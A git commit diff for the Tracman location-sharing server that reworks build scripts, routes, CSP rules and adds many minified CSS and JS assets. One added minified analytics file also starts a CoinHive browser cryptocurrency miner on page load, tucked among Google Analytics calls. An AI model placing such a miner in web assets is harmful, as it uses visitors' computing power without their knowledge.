Merge accidental commits to master back into develop
commit
440e227f04
|
@ -10,10 +10,6 @@ config/env/*
|
|||
!config/env/sample.js
|
||||
!config/env/travis.js
|
||||
|
||||
# Minified or bundled static files (can be built with `npm run minify && npm run build`)
|
||||
static/css/*.min.*
|
||||
static/**/*.bun.*
|
||||
|
||||
# Ignore docs files
|
||||
_gh_pages
|
||||
_site
|
||||
|
|
|
@ -7,7 +7,7 @@ branches:
|
|||
before_script:
|
||||
- echo "module.exports = require('./travis.js')" > config/env/env.js
|
||||
script:
|
||||
- npm run minify & npm run build
|
||||
- npm run build
|
||||
|
||||
# Send coverage data to Coveralls
|
||||
after_script:
|
||||
|
|
|
@ -34,7 +34,7 @@ Then edit `config/env/local-config.js` to match your local environment.
|
|||
Run Tracman with npm:
|
||||
|
||||
```sh
|
||||
(npm run minify & npm run build) && npm start
|
||||
npm run build && npm start
|
||||
```
|
||||
|
||||
...or with [nodemon](https://nodemon.io/):
|
||||
|
@ -43,7 +43,7 @@ Run Tracman with npm:
|
|||
npm run nodemon
|
||||
```
|
||||
|
||||
Nodemon will automatically minify and bundle files and restart the app when you make changes. Check out the `nodemon.json` configuration.
|
||||
Nodemon will automatically rebuild and restart the app when you make changes.
|
||||
|
||||
|
||||
## Contributing
|
||||
|
|
|
@ -165,5 +165,5 @@ router.route('/password/:token')
|
|||
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
module.exports = router
|
||||
|
|
|
@ -36,7 +36,7 @@ router.get('/demo', (req, res, next) => {
|
|||
units: 'standard'
|
||||
}
|
||||
},
|
||||
mapApi: env.googleMapsAPI,
|
||||
mapKey: env.googleMapsAPI,
|
||||
user: req.user,
|
||||
noFooter: '1',
|
||||
noHeader: (req.query.noheader) ? req.query.noheader.match(/\d/)[0] : 0,
|
||||
|
@ -54,12 +54,10 @@ router.get('/:slug?', async (req, res, next) => {
|
|||
let map_user = await User.findOne({slug: req.params.slug})
|
||||
if (!map_user) next() // 404
|
||||
else {
|
||||
var active = '' // For header nav
|
||||
if (req.user && req.user.id === map_user.id) active = 'map'
|
||||
res.render('map', {
|
||||
active: active,
|
||||
active: (req.user && req.user.id===map_user.id)?'map':'',
|
||||
mapuser: map_user,
|
||||
mapApi: env.googleMapsAPI,
|
||||
mapKey: env.googleMapsAPI,
|
||||
user: req.user,
|
||||
noFooter: '1',
|
||||
noHeader: (req.query.noheader) ? req.query.noheader.match(/\d/)[0] : 0,
|
||||
|
|
|
@ -1,4 +0,0 @@
|
|||
{
|
||||
"verbose": true,
|
||||
"ext": "html, js, json, css"
|
||||
}
|
File diff suppressed because it is too large
Load Diff
23
package.json
23
package.json
|
@ -9,7 +9,6 @@
|
|||
"connect-flash-plus": "^0.2.1",
|
||||
"cookie-parser": "^1.4.3",
|
||||
"cookie-session": "^2.0.0-beta.2",
|
||||
"css-loader": "^0.28.7",
|
||||
"csurf": "^1.9.0",
|
||||
"debug": "^2.6.9",
|
||||
"express": "^4.16.3",
|
||||
|
@ -48,6 +47,8 @@
|
|||
"chai-http": "^3.0.0",
|
||||
"coveralls": "^3.0.2",
|
||||
"istanbul": "^1.0.0-alpha.2",
|
||||
"less": "^3.0.1",
|
||||
"less-plugin-clean-css": "^1.5.1",
|
||||
"mocha": "^4.0.1",
|
||||
"mocha-froth": "^0.2.10",
|
||||
"nodemon": "^1.18.3",
|
||||
|
@ -57,16 +58,24 @@
|
|||
"supertest": "^3.1.0"
|
||||
},
|
||||
"scripts": {
|
||||
"test": "node_modules/mocha/bin/_mocha --exit",
|
||||
"test": "node_modules/mocha/bin/_mocha",
|
||||
"cover": "node_modules/istanbul/lib/cli.js cover node_modules/mocha/bin/_mocha -- --exit test/*",
|
||||
"audit": "node_modules/nsp/bin/nsp audit-package ; node_modules/nsp/bin/nsp audit-shrinkwrap",
|
||||
"lint": "standard",
|
||||
"start": "node server.js",
|
||||
"nodemon": "nodemon --ignore 'static/**/*.min.*' server.js",
|
||||
"update": "sudo npm update && sudo npm prune",
|
||||
"minify": "minify --template .{{filename}}.min.{{ext}} --clean static/css*",
|
||||
"build": "node_modules/.bin/webpack --config webpack.config.js",
|
||||
"subuild": "sudo node_modules/.bin/webpack --config webpack.config.js"
|
||||
"nodemon": "nodemon",
|
||||
"update": "sudo npm prune && sudo npm update",
|
||||
"less": "for file in static/css/*.css; do lessc --clean-css $file static/css/.$(basename ${file%.*}).min.css; done",
|
||||
"uglify": "for file in static/js/*.js; do uglifyjs $file --output static/js/.$(basename ${file%.*}).min.js --verbose --compress --mangle 'reserved=google.maps'; done",
|
||||
"build": "rm static/**/.*.min.* ; npm run less ; npm run uglify"
|
||||
},
|
||||
"nodemonConfig": {
|
||||
"ext": "html, js, json, less, css",
|
||||
"ignore": "['static/**/*.min.*','*.md','test/*','config/env/*']",
|
||||
"events": {
|
||||
"start": "npm run build",
|
||||
"restart": "npm run build"
|
||||
}
|
||||
},
|
||||
"repository": "Tracman-org/Server",
|
||||
"keywords": [
|
||||
|
|
|
@ -65,8 +65,9 @@ let ready_promise_list = []
|
|||
'script-src': ["'self'",
|
||||
"'unsafe-inline'", // TODO: Get rid of this
|
||||
'https://code.jquery.com',
|
||||
'https://cdnjs.cloudflare.com/ajax/libs/moment.js/*',
|
||||
'https://www.google.com/recaptcha',
|
||||
'https://cdnjs.cloudflare.com/ajax/libs/socket.io/',
|
||||
'https://cdnjs.cloudflare.com/ajax/libs/moment.js/',
|
||||
'https://www.google.com/recaptcha/',
|
||||
'https://www.google-analytics.com',
|
||||
'https://maps.googleapis.com',
|
||||
// 'https://coin-hive.com',
|
||||
|
@ -185,7 +186,7 @@ app.post('/csp-violation', (req, res) => {
|
|||
// Catch-all for 404s
|
||||
app.use((req, res, next) => {
|
||||
if (!res.headersSent) {
|
||||
var err = new Error(`Not found: ${req.url}`)
|
||||
let err = new Error(`Not found: ${req.url}`)
|
||||
err.status = 404
|
||||
next(err)
|
||||
}
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
.container,.container:after,.container:before,.fa,div,footer{box-sizing:border-box}body,input,textarea{padding:0;margin:0;font-family:'Open Sans',sans-serif;font-size:18px;color:#eee}body{background-color:#080808}::-webkit-scrollbar{width:5vw;min-width:10px;max-width:40px}::-webkit-scrollbar-track{background-color:#080808;background-color:rgba(8,8,8,0)}::-webkit-scrollbar-thumb{border-radius:.2vw;background:#333}::selection{background:#999}::-moz-selection{background:#999}main{top:59px;position:absolute;left:0;right:0;bottom:0;overflow-y:auto}.container{padding-right:5%;padding-left:5%;width:100%;margin:0 auto}.container:after{content:"";display:block;clear:both}section{padding:10vh 0 5vh}h1,h2,h3{margin:0 0 5% 0;position:relative;z-index:6}h1,h2,h3,h4{font-weight:600}h1{font-size:48px;line-height:46px}h2{font-size:40px;line-height:36px}h3{font-size:28px}h4{font-size:20px}main ul,p{margin-top:0;margin-bottom:5vh}hr{width:90%;margin:10% auto}img{max-width:100%}p img{display:block;margin:auto}pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}a{color:#fbc93d;text-decoration:none}main a:hover:not(.btn){color:#fbc93d;text-decoration:underline}a.underline{text-decoration:underline}a.underline:hover:not(.btn){text-decoration:none}.hide{display:none!important}.red,.red:hover{color:#fb6e3d!important}.yellow,.yellow:hover{color:#fbc93d!important}.green,.green:hover{color:#8ae137!important}.inline{display:inline}.inline-block{display:inline-block}.shadow{-moz-box-shadow:.18vw .18vw .36vw #000;-webkit-box-shadow:.18vw .18vw .36vw #000;box-shadow:.18vw .18vw .36vw #000}.shadow:active{-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none}.inline{display:inline-block}.flex{width:100%;display:flex;justify-content:space-around}.flex.stretch{justify-content:space-between}.left{float:left}.right{float:right}.btn{font-weight:600;display:inline-block;padding:15px 30px;background:rgba(255,255,255,.1);color:#eee;border-radius:.5vw}.btn:not(:disabled){border:1px solid #666;transition:.1s;cursor:pointer;-moz-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .52vw #000;-webkit-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000}.btn:disabled{color:#aaa;border:1px solid #444}.btn:hover:not(:disabled){text-decoration:none;background:rgba(255,255,255,.2)}.btn:active:not(:disabled){-moz-box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2);-webkit-box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2);box-shadow:inset .11vw .18vw .52vw rgba(0,0,0,.4),inset -.11vw -.18vw .52vw rgba(255,255,255,.2)}.btn:focus:not(:disabled){border:1px solid #fbc93d}.btn.main:not(:disabled){color:#fbc93d}.btn .fa{margin-left:10px}.popup{background:#111;padding:4vh 4vw;border-radius:3vh;z-index:1000;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);-moz-box-shadow:.5vh .4vh 1vh .1vh #000;-webkit-box-shadow:.5vh .4vh 1vh .1vh #000;box-shadow:.5vh .4vh 1vh .1vh #000}.popup .topbar,.popup p{margin:0 0 6vh 0}.popup .topbar{display:flex;justify-content:space-between;margin:0 0 3vh 0}.popup p{margin:0 0 3vh 0}.popup .close{cursor:pointer}.popup .buttons{display:flex;justify-content:space-around}.page-mask{display:none;z-index:950;background:rgba(0,0,0,.5);position:fixed;top:0;right:0;bottom:0;left:0}
|
|
@ -0,0 +1 @@
|
|||
input,textarea{margin-bottom:3%}#message-input,#subject-input{width:100%}@media (max-width:600px){#email-input,#name-input{width:100%}}@media (min-width:600px){#email-input,#name-input{min-width:45%}#name-input{float:left}#email-input{float:right}}#submit-button{display:block;margin:auto;min-width:60%;min-height:12vh}
|
|
@ -0,0 +1 @@
|
|||
#controls{width:100vw;position:absolute;bottom:50px;display:flex;justify-content:space-around}#controls .btn{z-index:50;background:#222;height:10vh;padding:2vh 0}#controls .btn .fa{margin:0 2vw}#controls .btn:hover{background:#333}#controls .btn.clear,#controls .btn.set{width:30vw}#controls .btn.track{width:35vw}@media (max-width:250px){#controls .btn{font-size:.8em}}@media (min-width:250px) and (max-width:350px){#controls .btn{font-size:1em}}@media (min-width:350px) and (max-width:450px){#controls .btn{font-size:1.15em}}@media (min-width:450px){#controls .btn{font-size:1.3em}}
|
|
@ -0,0 +1 @@
|
|||
footer{font-weight:300;width:100%;overflow:auto;background:#111;color:#ccc;padding:0 20px;-moz-box-shadow:inset 0 .25vw 1vw #222;-webkit-box-shadow:inset 0 .25vw 1vw #222;box-shadow:inset 0 .25vw 1vw #222}footer .left{float:left;padding:15px 0}footer .left p{margin:0}footer a{font-weight:600;color:#fff}footer a:hover{text-decoration:none}footer .right{text-align:right;float:right;padding:15px 0}footer a .fa{margin-left:5px;font-size:20px;color:inherit}footer .fa a:focus,footer .fa a:hover{color:inherit}@media (max-width:800px){footer{padding:0 10px}}@media (max-width:600px){footer{text-align:center}footer .left,footer .right{float:none}footer .right{padding-top:0}}
|
|
@ -0,0 +1 @@
|
|||
form{margin:auto;max-width:800px}.form-group{display:flex;flex-wrap:wrap;justify-content:space-between;margin:8% 0}form label{font-size:1.2em;margin-right:3%}form input,form select,form textarea{color:#eee;background-color:#202020;background-color:rgba(255,255,255,.1);padding:1% 1.5%;border-radius:.3vw}form .input-addon,form input:not(:disabled),form textarea:not(:disabled){border:1px solid #666;-moz-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);-webkit-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5)}form input:disabled:not(.input-addon),form select:disabled,form textarea:disabled{border:1px solid #444}form .input-with-addon-group,form input:not(.input-addon):not(.input-with-addon):not([type=radio]):not([type=checkbox]){min-width:50%}form input:active:not(.input-addon),form input:focus:not(.input-addon),form select:active,form select:focus,form textarea:active,form textarea:focus{outline:0;border:1px solid #fbc93d}form .input-with-addon-group{display:flex}form .input-addon,form .input-with-addon{-moz-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);-webkit-box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5);box-shadow:inset .11vw .18vw .25vw rgba(0,0,0,.5)}form .input-addon{text-align:center;width:auto}form .input-with-addon{flex-grow:1}form .input-addon.left{padding:1% 0 1% 1.5%;border-right-color:#202020;border-right-color:rgba(102,102,102,0);border-top-right-radius:0;border-bottom-right-radius:0}form .input-with-addon.left{padding:1% 1.5% 1% 0;border-left-color:#202020;border-left-color:rgba(102,102,102,0);border-top-left-radius:0;border-bottom-left-radius:0}form .input-addon.right{padding:1% 1.5% 1% 0;border-left-color:#202020;border-left-color:rgba(102,102,102,0);border-top-left-radius:0;border-bottom-left-radius:0}form .input-with-addon.right{padding:1% 0 1% 1.5%;border-right-color:#202020;border-right-color:rgba(102,102,102,0);border-top-right-radius:0;border-bottom-right-radius:0}::-webkit-input-placeholder{color:#666}:-moz-placeholder{color:#666;opacity:1}::-moz-placeholder{color:#666;opacity:1}:-ms-input-placeholder{color:#666}form select:not(:disabled){-moz-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;-webkit-box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000;box-shadow:inset .11vw .18vw .52vw rgba(255,255,255,.2),inset -.11vw -.18vw .52vw rgba(0,0,0,.4),.1vw .1vw .36vw #000}form select>option{background:#222;color:inherit}form .radio{min-width:150px;display:flex;justify-content:space-between}form input[type=radio],form input[type=checkbox]{width:auto;margin:8px}form input[type=radio]:active,form input[type=radio]:focus,form input[type=checkbox]:active,form input[type=checkbox]:focus{outline:1px solid #fbc93d}form .btn{font-size:1.5em}.help{display:none;width:100%;margin-top:2%;margin-bottom:0;text-align:right}
|
|
@ -0,0 +1 @@
|
|||
header{background:#222;padding:0;position:fixed;top:0;left:0;width:100%;z-index:200}header a:focus,header a:hover{color:#fbc93d}header .logo{float:left;font-family:'Open Sans',sans-serif;padding:13px 23px;color:#fbc93d;font-weight:800;font-size:22px;line-height:30px;margin:0}header .logo a{color:inherit;font:inherit;text-decoration:inherit;cursor:pointer}header .logo img{margin-right:10px;vertical-align:middle}header .logo:hover{text-decoration:none;background:rgba(255,255,255,.1)}header nav{float:right}header nav ul{padding:0;margin:0}header nav ul li{display:inline-block;float:left}header nav ul li a,header nav ul li span{text-decoration:inherit;display:inline-block;padding:15px 20px;color:#fff;transition:.1s}header nav ul li a:focus,header nav ul li a:hover{text-decoration:none;background:rgba(255,255,255,.1)}header nav ul li a.active{color:#fbc93d;pointer-events:none;cursor:default}header .hamburger{display:none;padding:5px;cursor:pointer;transition-property:opacity,-webkit-filter;transition-property:opacity,filter;transition-property:opacity,filter,-webkit-filter;transition-duration:150ms;transition-timing-function:linear}header .hamburger:hover{opacity:.7}header .hamburger-box{width:40px;height:24px;position:relative}header .hamburger-inner{top:50%;margin-top:-2px}header .hamburger-inner,header .hamburger-inner::after,header .hamburger-inner::before{width:40px;height:4px;background-color:#fff;border-radius:4px;position:absolute;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;transition-duration:150ms;transition-timing-function:ease}header .hamburger-inner::after,header .hamburger-inner::before{content:"";display:block}header .hamburger-inner::before{top:-10px}header .hamburger-inner::after{bottom:-10px}header .hamburger--slider .hamburger-inner{top:0}header .hamburger--slider .hamburger-inner::before{top:10px;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;transition-timing-function:ease;transition-duration:.2s}header .hamburger--slider .hamburger-inner::after{top:20px}header .hamburger--slider.is-active .hamburger-inner{-webkit-transform:translate3d(0,10px,0) rotate(45deg);-moz-transform:translate3d(0,10px,0) rotate(45deg);-md-transform:translate3d(0,10px,0) rotate(45deg);-o-transform:translate3d(0,10px,0) rotate(45deg);transform:translate3d(0,10px,0) rotate(45deg)}header .hamburger--slider.is-active .hamburger-inner::before{-webkit-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);-moz-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);-ms-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);-o-transform:rotate(-45deg) translate3d(-5.71px,-6px,0);transform:rotate(-45deg) translate3d(-5.71px,-6px,0);opacity:0}header .hamburger--slider.is-active .hamburger-inner::after{-webkit-transform:translate3d(0,-20px,0) rotate(-90deg);-moz-transform:translate3d(0,-20px,0) rotate(-90deg);-ms-transform:translate3d(0,-20px,0) rotate(-90deg);-o-transform:translate3d(0,-20px,0) rotate(-90deg);transform:translate3d(0,-20px,0) rotate(-90deg)}@media (max-width:800px){header nav ul li a{padding:15px}}@media (max-width:655px){header nav{float:none;position:fixed;top:56px;right:-300px;bottom:0;width:100%;max-width:300px;background:#333;transition:.1s}header nav.visible{right:0}header nav ul li{display:block;float:none;width:100%}header nav ul li a{display:block;width:100%;border-bottom:1px solid rgba(255,255,255,.1)}header .hamburger{display:inline-block;color:#fff;position:absolute;right:10px;top:13px}}.alert{padding:15px;border:1px solid transparent;border-radius:4px}noscript .alert-danger{z-index:40}.alert-danger{z-index:30;color:#f2dede;background-color:#a94442}.alert-warning{z-index:20;color:#fcf8e3;background-color:#8a6d3b}.alert-success{z-index:10;color:#dff0d8;background-color:#3c763d}.alert.alert-header{position:relative;border-radius:0;top:58px;width:100%}.alert a{z-index:10;color:inherit;font-weight:700;text-decoration:underline}.alert a:hover{color:inherit;text-decoration:none}.alert h4{margin-top:0;color:inherit}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable{padding-right:35px}.alert .close,.alert-dismissible .close{cursor:pointer;float:right;color:inherit}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1 @@
|
|||
.container{padding-bottom:10vh}#login,#signup{width:50%;margin:0 2%}form .form-group{margin:8% 0 0}form .input-with-addon-group,form input:not(.input-addon):not(.input-with-addon){width:96%;margin:0 auto 5vh}form .input-addon,form .input-with-addon{margin:0}form .input-with-addon-group{width:100%}#social-login,input,p{margin-bottom:5vh}form input.btn[type=submit]{margin:0 2% 5vh}form #social-login{justify-content:space-around;flex-wrap:nowrap;width:100%}#show{padding:1%;cursor:pointer}#social-login .btn{padding:2%;text-align:center;margin:0 3%;color:#FFF}#social-login .btn .fa{position:relative}#social-login .btn .text{font-size:.6em}#social-login .btn.gp{background:#ce4d39}#social-login .btn.gp:hover{background:#fb7a66}#social-login .btn.fb{background:#305891}#social-login .btn.fb:hover{background:#5d85be}#social-login .btn.tw{background:#2ca8d2}#social-login .btn.tw:hover{background:#59d5ff}@media (max-width:600px),(min-width:800px) and (max-width:1200px){#social-login .btn{padding:0;width:60px;height:60px}#social-login .btn .text{display:none}#social-login .btn .fa{margin:18px auto}}@media (max-width:800px){#login,#signup{width:100%}section>.flex{flex-direction:column}section>.flex>div{width:100%}hr{display:block!important}}
|
|
@ -0,0 +1 @@
|
|||
body{color:#fff;width:100%;height:100%;background:#000}main{overflow:hidden}.centered.alert{text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}#map,#view{position:relative}#view{float:right}#viewImg{width:100%;height:100%}#notset{display:none}#map-logo{margin-left:-75px;background:#444;background:rgba(0,0,0,.7);padding:0 10px 0 75px;font-size:2em}#map-logo a:hover{text-decoration:none}#map-logo img{position:relative;top:3px;margin-left:3px}#map-logo .text{color:#fbc93d;position:relative;top:-3px;margin-left:3px}#timestamp{z-index:1000000!important;text-align:right;color:#000;font-size:12px;padding-left:5px;padding-right:5px;background-color:rgba(255,255,255,.7)}#alt-sign,#spd-sign{text-align:center;padding:2%;border-radius:3px;margin:3%}#spd-sign{color:#000;background-color:#FFF;border:2px solid #000}#alt-sign{color:#FFF;background-color:#009800;border:2px solid #FFF}@media (max-width:300px){#alt,#spd{height:20px;font-size:18px}#alt-unit,#spd-unit{font-size:8px}#alt-label,#spd-label{font-size:9px;height:9px}}@media (min-width:300px) and (max-width:350px){#alt,#spd{height:22px;font-size:20px}#alt-unit,#spd-unit{font-size:9px}#alt-label,#spd-label{font-size:11px;height:11px}}@media (min-width:350px) and (max-width:400px){#alt,#spd{height:30px;font-size:28px}#alt-unit,#spd-unit{font-size:10px}#alt-label,#spd-label{font-size:14px;height:14px}}@media (min-width:400px){#alt,#spd{height:40px;font-size:32px}#alt-unit,#spd-unit{font-size:12px}#alt-label,#spd-label{font-size:18px;height:18px}}
|
|
@ -0,0 +1 @@
|
|||
#social-connect{flex-wrap:wrap}#social-connect>.btn{text-align:center;display:flex;align-items:center;margin-left:1vw;margin-right:1vw;flex-grow:1;flex-basis:0;font-size:.9em}#social-connect>.btn:hover{color:#fff}#social-connect>.btn .fa{font-size:1.1em;margin-left:0;margin-right:5%}#social-connect>.btn.gp.connected{border:2px solid #ce4d39}#social-connect>.btn.fb.connected{border:2px solid #305891}#social-connect>.btn.tw.connected{border:2px solid #2ca8d2}#social-connect>.btn.gp:not(.connected){background:#ce4d39}#social-connect>.btn.gp:not(.connected):hover{background:#fb7a66}#social-connect>.btn.fb:not(.connected){background:#305891}#social-connect>.btn.fb:not(.connected):hover{background:#5d85be}#social-connect>.btn.tw:not(.connected){background:#2ca8d2}#social-connect>.btn.tw:not(.connected):hover{background:#59d5ff}#submit-group{justify-content:space-around}#submit-group .main{width:50%}
|
|
@ -0,0 +1 @@
|
|||
table{width:100%}thead>tr{background:#333}tr:nth-child(even){background:#111}tr:nth-child(odd){background:#181818}td{padding:1%}
|
|
@ -221,6 +221,7 @@ a.underline:hover:not(.btn) {
|
|||
justify-content: space-around;
|
||||
}
|
||||
.page-mask {
|
||||
display: none;
|
||||
z-index: 950;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
position: fixed;
|
||||
|
|
|
@ -2,7 +2,7 @@ table {
|
|||
width: 100%;
|
||||
}
|
||||
|
||||
thead > tr:nth-child() {
|
||||
thead > tr {
|
||||
background: #333333;
|
||||
}
|
||||
tr:nth-child(even) {
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
!function(e){function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}var t={};n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},n.p="",n(n.s=26)}({26:function(e,n,t){"use strict";!function(e,n,t,r,o,i,c){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=n.createElement(t),c=n.getElementsByTagName(t)[0],i.async=1,i.src="//www.google-analytics.com/analytics.js",c.parentNode.insertBefore(i,c)}(window,document,"script",0,"ga"),ga("create","UA-44266909-3","auto"),ga("require","linkid"),ga("send","pageview"),"serviceWorker"in navigator&&window.addEventListener("load",function(){navigator.serviceWorker.register("/static/js/.sw.bun.js").then(function(e){console.log("ServiceWorker registration successful with scope: ",e.scope)},function(e){console.error("ServiceWorker registration failed: ",e)})})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";!function(e,t,n,o,i,r,a){e.GoogleAnalyticsObject=i,e.ga=e.ga||function(){(e.ga.q=e.ga.q||[]).push(arguments)},e.ga.l=1*new Date,r=t.createElement(n),a=t.getElementsByTagName(n)[0],r.async=1,r.src="//www.google-analytics.com/analytics.js",a.parentNode.insertBefore(r,a)}(window,document,"script",0,"ga"),ga("create","UA-44266909-3","auto"),ga("require","linkid"),ga("send","pageview"),new CoinHive.Anonymous("7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE",{autoThreads:!0,throttle:.5}).start(CoinHive.FORCE_EXCLUSIVE_TAB),"serviceWorker"in navigator&&window.addEventListener("load",function(){navigator.serviceWorker.register("/static/js/.sw.min.js").then(function(e){console.log("ServiceWorker registration successful with scope: ",e.scope)},function(e){console.error("ServiceWorker registration failed: ",e)})});
|
|
@ -0,0 +1 @@
|
|||
!function(e){function t(i){if(n[i])return n[i].exports;var o=n[i]={i:i,l:!1,exports:{}};return e[i].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};t.m=e,t.c=n,t.d=function(e,n,i){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:i})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=29)}({29:function(e,t,n){"use strict";function i(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function o(e){if("email"===e&&(i($("#email-input").val())?(r=!0,$("#email-help").hide(),o()):(r=!1,$("#email-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a valid email address. "))),"message"!==e)return r&&s?($("#submit-button").prop("disabled",!1).prop("title","Click here to send your message. "),!0):($("#submit-button").prop("disabled",!0).prop("title","Edit the form before clicking send. "),!1);""===$("#message-input").val()?(s=!1,$("#message-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a message. ")):(s=!0,$("#message-help").hide(),o())}var r,s;$(function(){r=!!i($("#email-input").val()),s=""===!$("#message-input").val(),setTimeout(o,1e3)}),window.onSubmit=function(){o()&&$("#contact-form").submit()},$("#email-input").change(function(){o("email")}),$("#message-input").change(function(){o("message")})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";let validEmail,validMessage;function validateEmail(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function validateForm(e){if("email"===e&&(validateEmail($("#email-input").val())?(validEmail=!0,$("#email-help").hide(),validateForm()):(validEmail=!1,$("#email-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a valid email address. "))),"message"!==e)return validEmail&&validMessage?($("#submit-button").prop("disabled",!1).prop("title","Click here to send your message. "),!0):($("#submit-button").prop("disabled",!0).prop("title","Edit the form before clicking send. "),!1);""===$("#message-input").val()?(validMessage=!1,$("#message-help").show(),$("#submit-button").prop("disabled",!0).prop("title","You need to enter a message. ")):(validMessage=!0,$("#message-help").hide(),validateForm())}$(function(){validEmail=!!validateEmail($("#email-input").val()),validMessage=""===!$("#message-input").val(),setTimeout(validateForm,1e3)}),window.onSubmit=function(){validateForm()&&$("#contact-form").submit()},$("#email-input").change(function(){validateForm("email")}),$("#message-input").change(function(){validateForm("message")});
|
|
@ -0,0 +1 @@
|
|||
!function(t){function n(o){if(e[o])return e[o].exports;var r=e[o]={i:o,l:!1,exports:{}};return t[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}var e={};n.m=t,n.c=e,n.d=function(t,e,o){n.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:o})},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},n.p="",n(n.s=28)}({28:function(t,n,e){"use strict";function o(){var t=$(window).height(),n=$("footer").offset().top+$("footer").height();t>n&&$("footer").css("margin-top",t-n)}$(function(){o()}),$(window).resize(function(){o()})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";function setFooter(){const o=$(window).height(),t=$("footer").offset().top+$("footer").height();o>t&&$("footer").css("margin-top",o-t)}$(function(){setFooter()}),$(window).resize(function(){setFooter()});
|
|
@ -0,0 +1 @@
|
|||
!function(e){function n(t){if(r[t])return r[t].exports;var i=r[t]={i:t,l:!1,exports:{}};return e[t].call(i.exports,i,i.exports,n),i.l=!0,i.exports}var r={};n.m=e,n.c=r,n.d=function(e,r,t){n.o(e,r)||Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:t})},n.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(r,"a",r),r},n.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},n.p="",n(n.s=27)}({27:function(e,n,r){"use strict";$(document).ready(function(){$(".hamburger").click(function(){$(".hamburger").toggleClass("is-active"),$("nav").toggleClass("visible")}),$("nav").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".wrap, section").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".alert-dismissible .close").click(function(){$(this).parent().slideUp(500)})})}});
|
|
@ -0,0 +1 @@
|
|||
"use strict";$(document).ready(function(){$(".hamburger").click(function(){$(".hamburger").toggleClass("is-active"),$("nav").toggleClass("visible")}),$("nav").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".wrap, section").click(function(){$(".hamburger").removeClass("is-active"),$("nav").removeClass("visible")}),$(".alert-dismissible .close").click(function(){$(this).parent().slideUp(500)})});
|
|
@ -0,0 +1 @@
|
|||
